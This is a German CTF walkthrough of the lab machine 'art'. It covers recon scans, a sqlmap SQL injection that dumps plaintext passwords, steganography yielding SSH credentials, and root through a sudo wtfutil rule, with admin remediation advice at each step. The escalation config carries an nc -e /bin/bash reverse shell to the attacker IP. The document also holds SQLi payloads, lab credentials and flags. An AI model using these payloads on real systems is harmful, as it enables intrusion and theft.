Analyse: Wie üblich beginnt der Test mit `arp-scan -l`, um aktive Hosts im lokalen Netzwerk zu finden.
Bewertung: Ein Host wird unter `192.168.2.113` identifiziert. Die MAC-Adresse `08:00:27:73:d6:03` weist auf eine VirtualBox VM hin (PCS Systemtechnik GmbH).
Empfehlung (Pentester): Ziel-IP gefunden. Als Nächstes einen detaillierten Port-Scan durchführen.
Empfehlung (Admin): Standard-Netzwerksicherheitsmaßnahmen anwenden.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.153 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.1 00:50:56:c0:00:08 VMware, Inc. 192.168.2.2 00:50:56:f4:7d:5f VMware, Inc. 192.168.2.113 08:00:27:73:d6:03 PCS Systemtechnik GmbH 192.168.2.254 00:50:56:f8:46:8c VMware, Inc. 4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.847 seconds (138.60 hosts/sec). 4 responded
Analyse: Ein Nmap-Scan wird auf die Ziel-IP `192.168.2.113` ausgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu ermitteln. Die Optionen (`-sS -sC -T5 -A -p-`) zielen auf einen schnellen, aber umfassenden Scan ab.
Bewertung: Nmap findet zwei offene Ports: * **Port 22/tcp:** OpenSSH 8.4p1 (Debian 11). Ein aktueller SSH-Dienst. * **Port 80/tcp:** Nginx 1.18.0. Ein Webserver läuft. Nmap konnte keinen Seitentitel extrahieren (`Site doesn't have a title`). Die OS-Erkennung deutet auf Linux hin und bestätigt die VirtualBox-Umgebung.
Empfehlung (Pentester): Der Webserver auf Port 80 ist der primäre Angriffspunkt. Untersuchen Sie die Webseite genauer. Halten Sie SSH für spätere Versuche bereit.
Empfehlung (Admin): Sichern Sie SSH und Nginx. Halten Sie das System und die Dienste aktuell. Entfernen Sie unnötige Dienste.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-27 00:23 CEST Nmap scan report for art (192.168.2.113) Host is up (0.00015s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 45420f13cc8e49ddecf5bb0f58f4ef47 (RSA) | 256 122fa363c27399e3f86757ab2952aa06 (ECDSA) |_ 256 f8797ab1a87ee99725c3404a0c2f5e69 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: nginx/1.18.0 MAC Address: 08:00:27:73:D6:03 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.15 ms art (192.168.2.113) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.50 seconds
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu entdecken. Eine mittlere Wortliste und eine breite Palette von Dateiendungen werden getestet.
Bewertung: Gobuster findet nur eine Datei: `/index.php`. Dies deutet darauf hin, dass die Webanwendung möglicherweise klein ist oder versteckte Inhalte andere Namen haben.
Empfehlung (Pentester): Untersuchen Sie `index.php` genauer. Versuchen Sie andere Wortlisten oder Tools zur Inhaltserkennung wie `feroxbuster`, das manchmal andere Ergebnisse liefert. Führen Sie einen Web-Schwachstellen-Scanner wie `nikto` aus.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen Dateien oder Verzeichnisse im Web-Root vorhanden sind.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.113 [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403,500 [+] User Agent: gobuster/3.1.0 [+] Extensions: ... (alle angegebenen) ... [+] Expanded: true [+] Timeout: 10s =============================================================== Starting gobuster =============================================================== http://192.168.2.113/index.php (Status: 200) [Size: 170] =============================================================== Finished ===============================================================
Analyse: `feroxbuster` wird als Alternative oder Ergänzung zu `gobuster` verwendet, um nach Webinhalten zu suchen. Es verwendet eine andere Wortliste (`dirbuster/directory-list-2.3-medium.txt`) und testet spezifische Endungen. Der Hostname `art.hmv` wird verwendet (Annahme: wurde zur `/etc/hosts` hinzugefügt).
Bewertung: `feroxbuster` liefert deutlich mehr Ergebnisse als `gobuster`: * `/index.php` (bestätigt). * Mehrere `.jpg`-Dateien mit scheinbar zufälligen Namen (`zzxxccvv3.jpg`, `jlk19990.jpg`, `abc321.jpg`, `ertye.jpg`). Diese sind interessant, da Bilder Steganographie enthalten können. * Der Scan wurde manuell abgebrochen (`Caught ctrl+c`), daher ist die Liste möglicherweise unvollständig.
Empfehlung (Pentester): Laden Sie die gefundenen `.jpg`-Dateien herunter und untersuchen Sie sie auf Metadaten und Steganographie. Analysieren Sie den Quellcode von `index.php`, um zu sehen, wie diese Bilder verwendet werden.
Empfehlung (Admin): Verwenden Sie keine leicht erratbaren oder zufällig wirkenden Namen für wichtige Dateien. Überprüfen Sie, ob diese Bilder notwendig sind.
___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.7.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://art.hmv 🚀 Threads │ 500 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.7.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [txt, php, html, zip, htm, bak, pem] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 200 GET 4l 17w 170c http://art.hmv/index.php 200 GET 4l 17w 170c http://art.hmv/ 200 GET 11659l 67120w 2732227c http://art.hmv/zzxxccvv3.jpg 200 GET 13623l 72384w 2989800c http://art.hmv/jlk19990.jpg 200 GET 14758l 82642w 3171502c http://art.hmv/abc321.jpg 200 GET 20309l 114665w 4712929c http://art.hmv/ertye.jpg 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_art_hmv-1666826125.state ... [#############>------] - 2m 2433434/3528800 found:6 errors:5083 16629/s [##############>-----] - 2m 1242592/1764368 found:6 errors:5083 8397/s http://art.hmv [##############>-----] - 2m 1240264/1764368 found:6 errors:5083 8386/s http://art.hmv/
Analyse: `nikto` wird erneut ausgeführt, diesmal auf die IP-Adresse.
Bewertung: Nikto bestätigt den Nginx-Server und meldet die üblichen fehlenden Security Header. Es liefert keine neuen, kritischen Informationen im Vergleich zum vorherigen Nmap-Scan oder den Buster-Tools.
Empfehlung (Pentester): Konzentrieren Sie sich auf die Analyse von `index.php` und den gefundenen Bilddateien.
Empfehlung (Admin): Implementieren Sie die fehlenden Security Header.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.113 + Target Hostname: 192.168.2.113 + Target Port: 80 + Start Time: 2022-10-27 00:35:45 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.18.0 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + 7915 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2022-10-27 00:35:57 (GMT2) (12 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Quellcode von `http://192.168.2.113/index.php` wird untersucht.
Bewertung: Der Quellcode zeigt eine einfache HTML-Struktur, die die vier zuvor von `feroxbuster` gefundenen `.jpg`-Dateien mittels ``-Tags einbindet. Wichtig ist der HTML-Kommentar am Ende: ``. Dies ist ein klarer Hinweis darauf, dass es einen (wahrscheinlich GET-) Parameter namens `tag` gibt, der Probleme verursacht oder eine Schwachstelle darstellt.
Empfehlung (Pentester): Untersuchen Sie den `tag`-Parameter. Fuzzing des Parameters mit Tools wie `wfuzz` oder `ffuf` auf mögliche Werte oder Schwachstellen (LFI, RFI, SQLi, Command Injection). Versuchen Sie, `index.php?tag=BEISPIEL` mit verschiedenen Werten aufzurufen.
Empfehlung (Admin): Entwickler sollten keine Hinweise auf Parameter oder interne Probleme in HTML-Kommentaren hinterlassen. Der Code, der den `tag`-Parameter verarbeitet, sollte auf Sicherheit überprüft werden.
# Quellcode von http://192.168.2.113/index.php SEE HMV GALLERY!
Analyse (Methode 1): Basierend auf dem Kommentar im Quellcode wird `wfuzz` verwendet, um den Parameter `tag` zu fuzzing. Es wird eine Liste gängiger Parameternamen verwendet (`url-params_from-top-55-most-popular-apps.txt`), was hier eigentlich nicht zielführend ist, da der Parametername `tag` bereits bekannt ist. Der Befehl testet `http://192.168.2.113/index.php?PARAM=PARAM`. `--hw 17` filtert Antworten heraus, die 17 Wörter enthalten (vermutlich die Standardantwort). `-c` aktiviert Farben, `-r 5` bedeutet 5 Wiederholungen pro Payload (unklarer Zweck hier).
Bewertung (Methode 1): Trotz der seltsamen Wortliste findet `wfuzz` heraus, dass der Parameter `tag` tatsächlich existiert und eine andere Antwort liefert (12 Wörter statt 17). Dies bestätigt die Existenz des Parameters und dass er die Ausgabe beeinflusst. Die Warnung bezüglich Pycurl und OpenSSL ist für diesen HTTP-Test irrelevant.
Empfehlung (Pentester): Da der Parameter `tag` bestätigt ist, testen Sie ihn gezielt auf Schwachstellen wie SQL-Injection. Verwenden Sie manuelle Tests (z.B. `?tag='`, `?tag=1' OR '1'='1`) und automatisierte Tools wie `sqlmap`.
Empfehlung (Admin): Validieren und bereinigen Sie alle Benutzereingaben, insbesondere Parameter, die in Datenbankabfragen verwendet werden. Nutzen Sie Prepared Statements.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.2.113/index.php?FUZZ=FUZZ Total requests: 211 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000097: 200 4 L 12 W 70 Ch "tag=tag" # Bestätigt Parameter 'tag' Total time: 0.636838 seconds Processed Requests: 211 Filtered Requests: 210 Requests/sec.: 331.3319
Analyse (Methode 2): `sqlmap` wird verwendet, um gezielt nach SQL-Injection-Schwachstellen im Parameter `tag` zu suchen und diese auszunutzen. * `-u "http://192.168.2.113/index.php?tag="`: Ziel-URL mit dem anfälligen Parameter. * `--level=5 --risk=3`: Erhöht die Gründlichkeit und das Risiko der Tests (testet mehr SQLi-Typen und potenziell gefährlichere Payloads). * `--batch`: Führt `sqlmap` ohne interaktive Nachfragen aus (verwendet Standardantworten). * `-D gallery --dump`: Weist `sqlmap` an, alle Tabellen aus der Datenbank `gallery` zu dumpen (auszulesen).
Bewertung (Methode 2): `sqlmap` ist erfolgreich! * Es identifiziert den Parameter `tag` als anfällig für verschiedene SQLi-Typen (Boolean-based blind, Time-based blind, UNION query). * Es erkennt das Backend-DBMS als MySQL >= 5.0.12 (MariaDB fork). * Es findet eine Datenbank namens `gallery`. * Es dumpt zwei Tabellen: * `art`: Enthält IDs, Tags (`beautiful`, `beauty`) und die Bildnamen der angezeigten `.jpg`-Dateien, sowie ein weiteres Bild: `dsa32.jpg`. Dieses Bild wurde von `feroxbuster` nicht gefunden und ist daher besonders interessant. * `users`: Enthält Benutzerdaten! IDs, Benutzernamen (`mina`, `me`, `lula`, `notme`, `mona`, `admin`, `lila`, `root`) und Passwörter (`pass`). Die Passwörter scheinen Klartext oder einfach kodiert zu sein. Besonders relevant sind `mina:realpazz`.
Empfehlung (Pentester): Versuchen Sie, sich mit den gefundenen Zugangsdaten (`mina:realpazz`, `admin:EWQUDSAdaSDSA=`, `root:DSAewqDSAewq`) am SSH-Dienst anzumelden. Laden Sie das zusätzliche Bild `dsa32.jpg` herunter (`wget http://192.168.2.113/dsa32.jpg`) und untersuchen Sie es auf Steganographie, da es in der Datenbank aufgeführt, aber nicht auf der Webseite angezeigt wurde.
Empfehlung (Admin): **Kritische Schwachstelle!** Beheben Sie die SQL-Injection-Lücke sofort durch Implementierung von Prepared Statements und Eingabevalidierung. Speichern Sie Passwörter niemals im Klartext in der Datenbank; verwenden Sie starke Hashing-Verfahren mit Salt (z.B. bcrypt, Argon2). Ändern Sie alle kompromittierten Passwörter. Überprüfen Sie den Webserver und die Datenbank auf weitere Kompromittierungen.
___ __H__ ___ ___[,]_____ ___ ___ {1.6.11#stable} |_ -| . ['] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 00:45:02 /2022-10-27/ [00:45:02] [INFO] resuming back-end DBMS 'mysql' [00:45:02] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: tag (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: tag=-5278' OR 6712=6712-- IkQt Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: tag=' AND (SELECT 1361 FROM (SELECT(SLEEP(5)))MUqE)-- nkpR Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: tag=' UNION ALL SELECT NULL,CONCAT(0x7170717071,0x4a4e4365786558655076564261544e6d7a55546c776d736967424369754f44656675755568516772,0x7162626a71),NULL-- - --- [00:45:07] [INFO] the back-end DBMS is MySQL web application technology: Nginx 1.18.0 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [00:45:07] [INFO] fetching tables for database: 'gallery' [00:45:07] [INFO] fetching columns for table 'art' in database 'gallery' [00:45:07] [INFO] fetching entries for table 'art' in database 'gallery' Database: gallery Table: art [5 entries] +----+-----------+---------------+ | id | tag | image | +----+-----------+---------------+ | 1 | beautiful | abc321.jpg | | 2 | beautiful | jlk19990.jpg | | 3 | beautiful | ertye.jpg | | 4 | beautiful | zzxxccvv3.jpg | | 5 | beauty | dsa32.jpg | +----+-----------+---------------+ [00:45:07] [INFO] table 'gallery.art' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.2.113/dump/gallery/art.csv' [00:45:07] [INFO] fetching columns for table 'users' in database 'gallery' [00:45:07] [INFO] fetching entries for table 'users' in database 'gallery' Database: gallery Table: users [8 entries] +----+-----------------+--------+ | id | pass | user | +----+-----------------+--------+ | 1 | realpazz | mina | | 2 | mncxzKLLJDS | me | | 3 | 987dsKLDSOIU | lula | | 4 | BDSAOIUYEW | notme | | 5 | dsOIUSDAOydsa | mona | | 6 | EWQUDSAdaSDSA= | admin | | 7 | VCXddsaEWQdsa_D | lila | | 8 | DSAewqDSAewq | root | +----+-----------------+--------+ [00:45:08] [INFO] table 'gallery.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.2.113/dump/gallery/users.csv' [00:45:08] [INFO] dumping entries for database 'gallery' completed [00:45:08] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.113' [*] ending @ 00:45:08 /2022-10-27/
Analyse: Das von `sqlmap` entdeckte Bild `dsa32.jpg` (Annahme: wurde zuvor heruntergeladen) wird mit `steghide info` auf versteckte Daten untersucht. Anschließend wird `stegseek` verwendet, um ein mögliches Passwort für die versteckten Daten mit der `rockyou.txt`-Wortliste zu brute-forcen.
Bewertung: * `steghide info` bestätigt, dass in `dsa32.jpg` eine Datei namens `yes.txt` (17 Bytes) mittels `rijndael-128` (AES) verschlüsselt und komprimiert versteckt ist. Es wird ein Passwort benötigt. * `stegseek` findet das Passwort sehr schnell: Es ist ein **leeres Passwort** (`""`)! Stegseek extrahiert die versteckte Datei als `dsa32.jpg.out`.
Empfehlung (Pentester): Lesen Sie den Inhalt der extrahierten Datei `dsa32.jpg.out` mit `cat`. Sie enthält wahrscheinlich weitere Zugangsdaten oder Hinweise.
Empfehlung (Admin): Die Verwendung von Steganographie mit einem leeren Passwort bietet keinerlei Sicherheit. Wenn Steganographie verwendet wird, muss ein starkes Passwort gesetzt werden. Entfernen Sie die Datei `dsa32.jpg` vom Webserver, wenn sie nicht benötigt wird.
"dsa32.jpg": Format: jpeg Kapazität: 263,0 KB Soll versucht werden, Information über eingebettete Daten anzuzeigen ? (j/n) j Passwort eingeben: Konnte keine eingebetteten Daten mit diesem Passwort extrahieren.
"dsa32.jpg":
Format: jpeg
Kapazität: 263,0 KB
Soll versucht werden, Information über eingebettete Daten anzuzeigen ? (j/n) j
Passwort eingeben: (Enter)
Eingebettete Datei "yes.txt":
Größe: 17,0 Byte
verschlüsselt: rijndael-128, cbc
komprimiert: ja
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "" [i] Original filename: "yes.txt". [i] Extracting to "dsa32.jpg.out".
Analyse: Der Inhalt der von `stegseek` extrahierten Datei `dsa32.jpg.out` wird mit `cat` angezeigt.
Bewertung: Die Datei enthält den String `lion/shel0vesyou`. Dies sieht stark nach einem Benutzernamen (`lion`) und einem Passwort (`shel0vesyou`) aus, getrennt durch einen Schrägstrich.
Empfehlung (Pentester): Versuchen Sie, sich mit diesen Zugangsdaten (`lion`:`shel0vesyou`) am SSH-Dienst anzumelden. Dies ist vielversprechender als die zuvor von `sqlmap` gefundenen Daten.
Empfehlung (Admin): Speichern Sie keine Zugangsdaten in versteckten Dateien, schon gar nicht mit schwachem oder keinem Passwortschutz. Ändern Sie das kompromittierte Passwort für `lion`.
lion/shel0vesyou
Analyse: Es wird versucht, sich mit den aus der Steganographie gewonnenen Zugangsdaten (`lion`:`shel0vesyou`) per SSH am Zielsystem (`art.hmv`) anzumelden.
Bewertung: Der Login ist erfolgreich! Nach Eingabe des Passworts `shel0vesyou` erhält der Angreifer eine Shell als Benutzer `lion`. Der Willkommensbildschirm zeigt Debian Linux 5.10. Der Hostname ist `art`.
Empfehlung (Pentester): Initialer Zugriff als `lion` erreicht! Beginnen Sie mit der lokalen Enumeration. Suchen Sie als Erstes nach der User-Flag, oft im Home-Verzeichnis. Überprüfen Sie dann die `sudo`-Rechte (`sudo -l`).
Empfehlung (Admin): Das Passwort `shel0vesyou` war erfolgreich. Es sollte sofort geändert werden. Die Sicherheitslücken (SQLi, Stego mit leerem Passwort) müssen geschlossen werden.
lion@art.hmv's password: shel0vesyou
Linux art 5.10.0-16-amd64 #1 SMP Debian 5.10.127-2 (2022-07-23) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 3 11:18:18 2022 from 192.168.1.51
Analyse: Direkt nach dem Login wird das Home-Verzeichnis überprüft (`ls /home/`, `ls`) und versucht, die User-Flag (`user.txt`) zu lesen.
Bewertung: Das Home-Verzeichnis `/home/lion` existiert und enthält die Datei `user.txt`. Der Befehl `cat user.txt` liest die Flag erfolgreich aus: `HMVygUmTyvRPWduINKYfmpO`.
Empfehlung (Pentester): User-Flag gesichert. Setzen Sie die Enumeration fort, um Root-Rechte zu erlangen. Der nächste Schritt ist `sudo -l`.
Empfehlung (Admin): Die User-Flag ist ein CTF-Element. In realen Systemen sollten sensible Daten im Home-Verzeichnis angemessen geschützt sein.
lion
user.txt
HMVygUmTyvRPWduINKYfmpO
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen des Benutzers `lion` zu überprüfen.
Bewertung: Ein sehr vielversprechender Fund! `lion` darf den Befehl `/bin/wtfutil` als jeder Benutzer (`ALL`) und jede Gruppe (`ALL`) ohne Passwort (`NOPASSWD:`) ausführen: `(ALL : ALL) NOPASSWD: /bin/wtfutil`. `wtfutil` ist ein Dashboard-Tool für das Terminal. Wenn ein Benutzer ein beliebiges Programm über `sudo` ohne Passwort als `root` ausführen kann, ist dies fast immer ein direkter Weg zur Root-Shell. Es muss nur herausgefunden werden, wie `wtfutil` zur Befehlsausführung missbraucht werden kann.
Empfehlung (Pentester): Recherchieren Sie nach Möglichkeiten, mit `wtfutil` Befehle auszuführen oder eine Shell zu starten (z.B. über Konfigurationsdateien, Module, interne Befehle). GTFOBins ist eine gute Quelle für solche Informationen. Führen Sie `sudo /bin/wtfutil -h` aus, um die Hilfe und Optionen anzuzeigen.
Empfehlung (Admin): Diese `sudo`-Regel ist extrem gefährlich und sollte sofort entfernt werden. Es ist fast nie sicher, einem normalen Benutzer zu erlauben, ein komplexes Anwendungsprogramm als `root` ohne Passwort auszuführen.
Matching Defaults entries for lion on art: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User lion may run the following commands on art: (ALL : ALL) NOPASSWD: /bin/wtfutil
____ __ ____ .___________. _______ \ \ / \ / / | || ____| \ \/ \/ / ----| |-----| |__ \ / | | | __| \ /\ / | | | | \__/ \__/ |__| |__| the personal information dashboard for your terminal The development and maintenance of WTF is supported by sponsorships. Sponsor the development of WTF at https://github.com/sponsors/senorprogrammer
Usage: wtfutil [OPTIONS] [command] [args...] Application Options: -c, --config= Path to config file -m, --module= Display info about a specific module, i.e.: 'wtfutil -m=todo' -p, --profile Profile application memory usage -v, --version Show version info Help Options: -h, --help Show this help message
Kurzbeschreibung: Dieser Proof of Concept beschreibt, wie die `sudo`-Berechtigung für `/bin/wtfutil` ausgenutzt wird, um Root-Rechte zu erlangen. `wtfutil` erlaubt das Laden einer benutzerdefinierten Konfigurationsdatei (`-c`). Innerhalb dieser Konfiguration können über das Modul `cmdrunner` beliebige Shell-Befehle definiert werden, die dann beim Start von `wtfutil` ausgeführt werden. Da `wtfutil` via `sudo` als `root` gestartet wird, werden auch die Befehle im `cmdrunner`-Modul als `root` ausgeführt.
Voraussetzungen: * Zugriff als Benutzer `lion`. * Die `sudo`-Regel `(ALL : ALL) NOPASSWD: /bin/wtfutil` muss aktiv sein. * Die Möglichkeit, eine Konfigurationsdatei im Home-Verzeichnis von `lion` zu erstellen. * Ein Listener (`netcat`) auf dem Angreifer-System (IP `192.168.2.153`, Port `443`).
Schritt 1: Erstellen der bösartigen Konfigurationsdatei
1. `nano config.yml`: Eine neue Datei `config.yml` wird im Home-Verzeichnis von `lion` erstellt.
2. Folgender Inhalt wird eingefügt:
```yaml
wtf:
grid:
columns: [40, 40]
rows: [4, 4]
refreshInterval: 1
mods:
disks: # Name des Moduls ist beliebig
type: cmdrunner # Wichtig: Modul zum Ausführen von Befehlen
cmd: "nc" # Der auszuführende Befehl
args: ["-e", "/bin/bash", "192.168.2.153", "443"] # Argumente für nc (Reverse Shell)
enabled: true
position: # Position im Dashboard (irrelevant für Exploit)
top: 3
left: 1
height: 1
width: 3
refreshInterval: 3 # Intervall (irrelevant für Exploit)
```
Dieser Code definiert ein `cmdrunner`-Modul, das `nc -e /bin/bash [Angreifer-IP] [Port]` ausführt, also eine Reverse Shell startet.
3. `chmod +x config.yml`: Die Datei wird ausführbar gemacht (obwohl dies für eine Konfigurationsdatei normalerweise nicht nötig ist, schadet es hier nicht).
Bewertung (Schritt 1): Die Konfigurationsdatei ist korrekt erstellt und enthält die Reverse-Shell-Payload im `cmdrunner`-Modul.
Empfehlung (Pentester): Stellen Sie sicher, dass die IP-Adresse und der Port in den `args` korrekt sind und zum Listener passen. Starten Sie den Listener auf dem Angreifer-System.
Empfehlung (Admin): Die Möglichkeit, über eine Konfigurationsdatei beliebige Befehle in einem mit `sudo` ausgeführten Programm zu starten, ist eine klare Schwachstelle. Die `sudo`-Regel für `wtfutil` muss entfernt werden. Untersuchen Sie, ob `wtfutil` sicher konfiguriert werden kann, um das Laden von Konfigurationsdateien aus nicht vertrauenswürdigen Pfaden zu verhindern, wenn es als `root` läuft (unwahrscheinlich).
# Inhalt von config.yml: wtf: grid: columns: [40, 40] rows: [4, 4] refreshInterval: 1 mods: disks: type: cmdrunner cmd: "nc" args: ["-e", "/bin/bash", "192.168.2.153", "443"] enabled: true position: top: 3 left: 1 height: 1 width: 3 refreshInterval: 3
Schritt 2: Listener starten und Exploit ausführen
1. `nc -lvnp 443`: Auf dem Angreifer-System wird der `netcat`-Listener auf Port 443 gestartet.
2. `sudo -u root /bin/wtfutil --config=/home/lion/config.yml`: Auf dem Zielsystem führt `lion` `wtfutil` über `sudo` als `root` aus und gibt mittels `-c` (oder `--config=`) die gerade erstellte bösartige Konfigurationsdatei an.
Bewertung (Schritt 2): `wtfutil` startet als `root`, lädt die `config.yml`, findet das `cmdrunner`-Modul und führt den darin definierten `nc`-Befehl aus. Die Reverse Shell verbindet sich erfolgreich zum Listener des Angreifers. Der Befehl `id` im Listener bestätigt `uid=0(root)`. Root-Zugriff wurde erlangt!
Empfehlung (Pentester): Root-Zugriff erreicht! Sichern Sie die Root-Flag und dokumentieren Sie den Vorgang.
Empfehlung (Admin): **Höchste Priorität:** System kompromittiert. Notfallplan aktivieren. Unsichere `sudo`-Regel für `wtfutil` entfernen. System bereinigen.
Risikobewertung: Die Kette aus SQL-Injection (zum Erlangen von Bildnamen und Klartextpasswörtern), Steganographie (zum Finden der korrekten Zugangsdaten) und einer unsicheren `sudo`-Regel für ein Tool, das Befehlsausführung über Konfigurationsdateien erlaubt, führte zur vollständigen Kompromittierung. Das Risiko ist **kritisch**.
listening on [any] 443 ...
____ __ ____ .___________. _______ \ \ / \ / / | || ____| \ \/ \/ / ----| |-----| |__ \ / | | | __| \ /\ / | | | | \__/ \__/ |__| |__| the personal information dashboard for your terminal The development and maintenance of WTF is supported by sponsorships. Sponsor the development of WTF at https://github.com/sponsors/senorprogrammer
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.113] 53444
uid=0(root) gid=0(root) groups=0(root)
Analyse: Nachdem Root-Zugriff erlangt wurde, werden die User- und Root-Flags gesucht und ausgelesen. Die User-Flag wurde bereits als `lion` gefunden. Die Root-Flag wird durch Suchen nach `.txt`-Dateien im Besitz von `root` gefunden (`/var/opt/root.txt`) und dann ausgelesen.
Bewertung: Beide Flags wurden erfolgreich extrahiert. Die Root-Flag befand sich an einem ungewöhnlichen Ort (`/var/opt/`), was die Wichtigkeit einer gründlichen Suche unterstreicht.
.bash_history .bashrc .config .local .mysql_history .profile .ssh .wget-hsts
total 40K drwx------ 5 root root 4.0K Oct 27 00:58 . drwxr-xr-x 18 root root 4.0K Aug 3 10:52 .. lrwxrwxrwx 1 root root 9 Aug 3 11:07 .bash_history -> /dev/null -rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc drwxr-xr-x 3 root root 4.0K Oct 27 00:58 .config drwxr-xr-x 3 root root 4.0K Aug 3 11:12 .local -rw------- 1 root root 2.0K Aug 3 11:12 .mysql_history -rw-r--r-- 1 root root 161 Jul 9 2019 .profile drwx------ 2 root root 4.0K Aug 3 11:15 .ssh -rw-r--r-- 1 root root 165 Aug 3 11:15 .wget-hsts
/usr/lib/python3.9/LICENSE.txt /usr/share/doc/gawk/examples/network/stoxdata.txt /usr/share/mysql/errmsg-utf8.txt /var/cache/dictionaries-common/ispell-dicts-list.txt /var/opt/root.txt
mZxbPCjEQYOqkNCuyIuTHMV
HMVygUmTyvRPWduINKYfmpO